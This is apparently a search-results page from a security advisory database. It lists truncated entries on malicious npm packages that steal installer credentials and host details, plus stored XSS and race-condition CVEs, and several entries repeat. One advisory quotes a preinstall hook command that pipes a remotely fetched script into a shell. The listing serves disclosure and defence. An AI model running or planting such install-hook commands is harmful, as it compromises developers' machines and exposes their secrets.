122621 matches found
Malicious code in dolyame-boxy-atom-bnpl-navigation-arrow (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7db1d9b70bff8856c1f954e47b1b609be3a4123a0c937a4eecf70c3a598325f0 On require of the package, index.js loads bridge.js which unconditionally executes a setup routine that downloads a platform-specific executable from...
CVE-2026-54217
Tobit Laboratories AG TeamDavid's Webbox application is vulnerable to a stored XSS vulnerability. An attacker can send an email containing malicious JavaScript code. When a user accesses the email, the stored cross-site scripting is triggered. This issue affects TeamDavid through Rollout 524...
CVE-2026-15245 BNE Testimonials < 2.0.8.2 - Contributor+ Stored XSS via Slider Shortcode
The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...
EUVD-2026-54381
The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...
CVE-2026-15245
The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...
CVE-2026-15245 BNE Testimonials < 2.0.8.2 - Contributor+ Stored XSS via Slider Shortcode
The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...
Malicious code in @cats-cdf/authentication (npm)
Source: amazon-inspector 404569337a1e5fc46fff2584e052d2f9f99c3cb8d04e5fb3b5c5d633c178e01c The package's preinstall lifecycle script runs on npm install and collects the installer's local username whoami, hostname, and public IP address fetched via ifconfig.me, then transmits them as query-string...
CVE-2026-19079
A TOCTOU Time-of-Check-Time-of-Use race condition vulnerability was found in the fixfiles script in policycoreutils. When running fixfiles relabel or fixfiles restore, the script used find and chcon commands to locate and relabel unlabeled files under /tmp and other directories. A local attacker...
CVE-2026-19079: Time-of-check Time-of-use (TOCTOU) Race Condition
A TOCTOU Time-of-Check-Time-of-Use race condition vulnerability was found in the fixfiles script in policycoreutils. When running fixfiles relabel or fixfiles restore, the script used find and chcon commands to locate and relabel unlabeled files under /tmp and other directories. A local attacker...
Malicious code in merge-grid-stats (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 65aa3700b74bc0d50e4a4ee4fb3b903af0ac2ebea5867a3d1ffd0876647ec2a1 Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook node install-cb.js executes on npm install...
Malicious code in cdf-tag-commander-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 945179057c5bd93b985c3c532baa35379ce9dd9603e26d17e63201beb25868ae The preinstall lifecycle script in [email protected] runs automatically on npm install. It executes whoami and hostname, retrieves the...
MAL-2026-13481 Malicious code in cdf-tag-commander-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 945179057c5bd93b985c3c532baa35379ce9dd9603e26d17e63201beb25868ae The preinstall lifecycle script in [email protected] runs automatically on npm install. It executes whoami and hostname, retrieves the...
Malicious code in @cats-cdf/authentication (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 404569337a1e5fc46fff2584e052d2f9f99c3cb8d04e5fb3b5c5d633c178e01c The package's preinstall lifecycle script runs on npm install and collects the installer's local username whoami, hostname, and public IP address...
Malicious code in weight2loss (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8b80ee1c23ef1ae185bbda67deab7b442f673434427f2c006acb4e7f388a52e The package ships setup.js, referenced by a postinstall hook in package.json, that on execution: 1 reads installer-side secrets from /.npmrc, /.ssh/,...
Malicious code in internallib_v514 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...
CVE-2026-49391
Frappe is a full-stack web application framework. Prior to 16.19.0 and 15.109.0, Data Import does not escape imported column headers before rendering previews and results, allowing an authenticated importer to persist script content that executes when another user views the import interface. This...
CVE-2026-47185
Frappe is a full-stack web application framework. Prior to 16.18.0, the Workspace Save API accepts a controlled workspace identifier from any authenticated user without enforcing workspace ownership, allowing modification of another user's private workspace and persistent script injection. This...
EUVD-2026-54175
Frappe is a full-stack web application framework. Prior to 16.19.0 and 15.109.0, Data Import does not escape imported column headers before rendering previews and results, allowing an authenticated importer to persist script content that executes when another user views the import interface. This...
CVE-2026-49391
Frappe is a full-stack web application framework. Prior to 16.19.0 and 15.109.0, Data Import does not escape imported column headers before rendering previews and results, allowing an authenticated importer to persist script content that executes when another user views the import interface. This...
CVE-2026-49391
CVE-2026-49391 affects Frappe framework’s Data Import feature. Before versions 16.19.0 and 15.109.0, imported column headers were not escaped when rendering previews/results, enabling an authenticated user to persist script content that executes when another user views the import interface (Store...